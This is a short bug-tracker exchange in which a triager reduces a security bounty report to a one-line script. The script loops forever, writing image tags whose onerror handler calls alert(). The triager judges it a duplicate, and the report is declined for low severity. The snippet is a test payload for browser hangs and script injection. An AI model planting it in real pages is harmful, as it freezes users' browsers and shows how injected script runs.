Flags: sec-bounty?
So the actual "vulnerability" is just: <script> while (true) { document.write("<img src="x" onerror='alert(2)'>"); } </script> Possibly even without the alert() bit, yes? This is a duplicate, I would think...

I will find the bug to dupe this against. Sergio: Unfortunately this bug does not meet the severity rating to qualify for a bounty.
